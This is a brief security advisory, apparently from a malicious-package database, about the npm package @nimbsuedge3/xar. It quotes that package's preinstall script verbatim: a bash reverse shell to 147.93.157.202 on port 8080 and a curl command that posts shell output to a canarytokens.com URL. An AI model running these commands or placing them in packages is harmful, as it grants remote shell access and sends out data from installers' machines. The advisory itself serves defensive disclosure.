Malicious code in @nimbsuedge3/xar (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf) package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.
